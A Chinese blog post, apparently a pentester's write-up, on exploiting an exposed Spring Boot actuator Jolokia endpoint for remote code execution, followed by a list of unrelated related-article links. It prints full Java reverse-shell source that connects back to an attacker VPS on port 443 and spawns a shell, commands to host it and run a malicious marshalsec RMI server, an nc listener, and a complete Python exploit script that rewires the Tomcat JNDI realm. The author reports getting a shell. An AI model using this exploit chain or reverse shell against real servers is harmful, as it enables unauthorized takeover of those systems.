日穿扫描扫到一个spring boot actuator

可以看到有jolokia这个端点,再看下jolokia/list,存在type=MBeanFactory 关键字



可以使用jolokia-realm-jndi-rce具体步骤如下

先用python3开一个web服务

python3 -m http.server 8080

编译java利用代码

/**
* javac -source 1.5 -target 1.5 JNDIObject.java
*
* Build By LandGrey
* */ import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket; public class JNDIObject {
static {
try{
String ip = "your-vps-ip";
String port = "443";
String py_path = null;
String[] cmd;
if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
for(int i = 0; i < py_envs.length; ++i) {
String py = py_envs[i];
if ((new File(py)).exists()) {
py_path = py;
break;
}
}
if (py_path != null) {
if ((new File("/bin/bash")).exists()) {
cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
} else {
cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
}
} else {
if ((new File("/bin/bash")).exists()) {
cmd = new String[]{"/bin/bash"};
} else {
cmd = new String[]{"/bin/sh"};
}
}
} else {
cmd = new String[]{"cmd.exe"};
}
Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
Socket s = new Socket(ip, Integer.parseInt(port));
InputStream pi = p.getInputStream();
InputStream pe = p.getErrorStream();
InputStream si = s.getInputStream();
OutputStream po = p.getOutputStream();
OutputStream so = s.getOutputStream();
while(!s.isClosed()) {
while(pi.available() > 0) {
so.write(pi.read());
}
while(pe.available() > 0) {
so.write(pe.read());
}
while(si.available() > 0) {
po.write(si.read());
}
so.flush();
po.flush();
Thread.sleep(50L);
try {
p.exitValue();
break;
} catch (Exception e) {
}
}
p.destroy();
s.close();
}catch (Throwable e){
e.printStackTrace();
}
}
}
javac -source 1.5 -target 1.5 JNDIObject.java

架设恶意 rmi 服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://vps:8080/#JNDIObject 1389

监听端口

nc -lvp 443



执行exp

#!/usr/bin/env python3
# coding: utf-8
# Referer: https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txt import requests url = 'http://127.0.0.1:8080/jolokia' create_realm = {
"mbean": "Tomcat:type=MBeanFactory",
"type": "EXEC",
"operation": "createJNDIRealm",
"arguments": ["Tomcat:type=Engine"]
} wirte_factory = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "contextFactory",
"value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
} write_url = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "connectionURL",
"value": "rmi://your-vps-ip:1389/JNDIObject"
} stop = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "stop",
"arguments": []
} start = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "start",
"arguments": []
} flow = [create_realm, wirte_factory, write_url, stop, start] for i in flow:
print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
r = requests.post(url, json=i)
r.json()
print(r.status_code)
python3 springboot-realm-jndi-rce.py



然后等两秒shell就回来了

那些年拿过的shell之springboot jolokia rce的更多相关文章

  1. springboot打包不同环境配置与shell脚本部署

    本篇和大家分享的是springboot打包并结合shell脚本命令部署,重点在分享一个shell程序启动工具,希望能便利工作: profiles指定不同环境的配置 maven-assembly-plu ...

  2. Shell脚本 自动部署 SpringBoot 应用

    公司项目使用了SpringBoot.开发的应用需要自动上传到服务器.虽然目前对热部署还没完全掌握.先使用shell简化一下部署吧. # 上传密钥 sshLoginKey=/f/MyFile/root. ...

  3. 【springboot】之利用shell脚本优雅启动,关闭springboot服务

    springbot开发api接口服务,生产环境中一般都是运行独立的jar,在部署过程中涉及到服务的优雅启动,关闭, springboot官方文档给出的有两种方式, 1.使用http shutdown ...

  4. 在idea中编写自动拉取、编译、启动springboot项目的shell脚本

    idea 开发环境搭建 idea中安装shell开发插件 服务器具备的条件 已经安装 lsof(用于检查端口占用) 已安装 git 安装 maven 有 java 环境 背景 代码提交到仓库后,需要在 ...

  5. 编写shell脚本让springboot项目在CentOS中开机自启动

    springboot项目部署在CentOS系统上时,如果遇到停电关机,公司的实施人员就得跑到甲方现场重新启动项目并测试,很是麻烦,这里探讨如何编写shell脚本控制springboot项目开机时自动启 ...

  6. Dockerfile 构建后端springboot应用并用shell脚本实现jenkins自动构建

    Dockerfile 文件构建docker镜像 FROM centos MAINTAINER zh*****eng "z*******ch.cn" ENV LANG en_US.U ...

  7. SpringBoot打成的jar包发布,shell关闭之后一直在服务器运行

    1:可以编写shell脚本, 切换到执行的jar包目录,然后使用nohup  让改命令在服务器一直运行 #!/bin/bash cd /srv/ftp/public nohup java -jar l ...

  8. springboot使用api操作HBase之shell

    HBase的基本读写流程写入流程读取流程HBase的模块与协作HBase启动RegionServer失效HMaster失效HBase常用的Shell命令进入shellhelp命令查询服务器状态查看所有 ...

  9. 编写shell脚本,使用 nohup 让springboot 项目在后台持续运行

    1.将springboot项目打成jar放在linux的某个目录下. 2.新建一个nohup.log文件. 3.使用vi命令新建一个start.sh文件并写下以下内容: #!/bin/sh nohup ...

随机推荐

  1. 《算法笔记》9.4小节 问题 B: 二叉搜索树

    这道题也当做二叉搜索树的建树模板. 这道题其实直接把这颗树建出来后,比较前序序列和中序序列即可,这里我用的数组实现,更好写和查错qwq. code: #include <bits/stdc++. ...

  2. centos7在Evolution中配置163邮箱,被阻止收件解决方法

    config.mail.163.com/settings/imap/login.jsp?uid=xxxx@163.com

  3. [开源]eCharts配置简化包OptionCreator[typescript版]

    eCharts存在问题 配置eCharts的option,对于大部分的开发者来说,复杂情况下是一件繁琐的事情.为什么繁琐,大致有以下这些原因 大小写敏感:在没有IDE的智能提示下,很容易写错,而且即使 ...

  4. CSS3 clip-path 用法介绍

    一.基本概念 刷新 QQ 空间动态时,发现一则广告,随着用户上下滑动动态列表,就会自动切换广告图片,这样的效果对移动端本就不大的屏幕来说,无疑是很精妙的考虑,这样的效果是怎么实现的呢? 你可以点击这里 ...

  5. CF819B Mister B and PR Shifts 思维题

    分析 这道题\(n\leq10^{6}\),显然\(n^{2}\)的暴力是无法解决问题的 那么我们可以考虑数列的某一种性质 因为最终的答案是\(\sum{n \atop i=1} |p_i - i|\ ...

  6. Redis的主从复制(基本入门)

    描述 从主节点(主机)到从节点(从机)单向的数据复制 特性(主从复制是Redis高可用的基础) 数据冗余 故障恢复 负载均衡 读写分离(主节点有读写权限,从节点只有读的权限) 注:以下操作都是在cen ...

  7. Java 字符串比较、拼接问题

    @ 目录 1.字符串的比较 1. 1 字符串常量池 1.2 String类型的比较方式 1.3 String的创建方式 1.3.1 直接使用"="进行赋值 1.3.2 使用&quo ...

  8. python numpy indexerror: too many indices for array

    import numpy as np #data 原来数组 #arr_1 新数组 #将data的第一列赋值给arr_1的第一列 arr_1 = np.array((data.shape[0],5)) ...

  9. Python并发编程04 /多线程、生产消费者模型、线程进程对比、线程的方法、线程join、守护线程、线程互斥锁

    Python并发编程04 /多线程.生产消费者模型.线程进程对比.线程的方法.线程join.守护线程.线程互斥锁 目录 Python并发编程04 /多线程.生产消费者模型.线程进程对比.线程的方法.线 ...

  10. Go的100天之旅-03变量

    变量 变量介绍 变量这个词来源于数学,类似方程中的x.y,代表的是存储在计算机中的值.这里主要介绍Go和其它编程语言不一样的地方,在前面我们提到过,Go是一门静态语言.静态语言区别动态语言一个重要的特 ...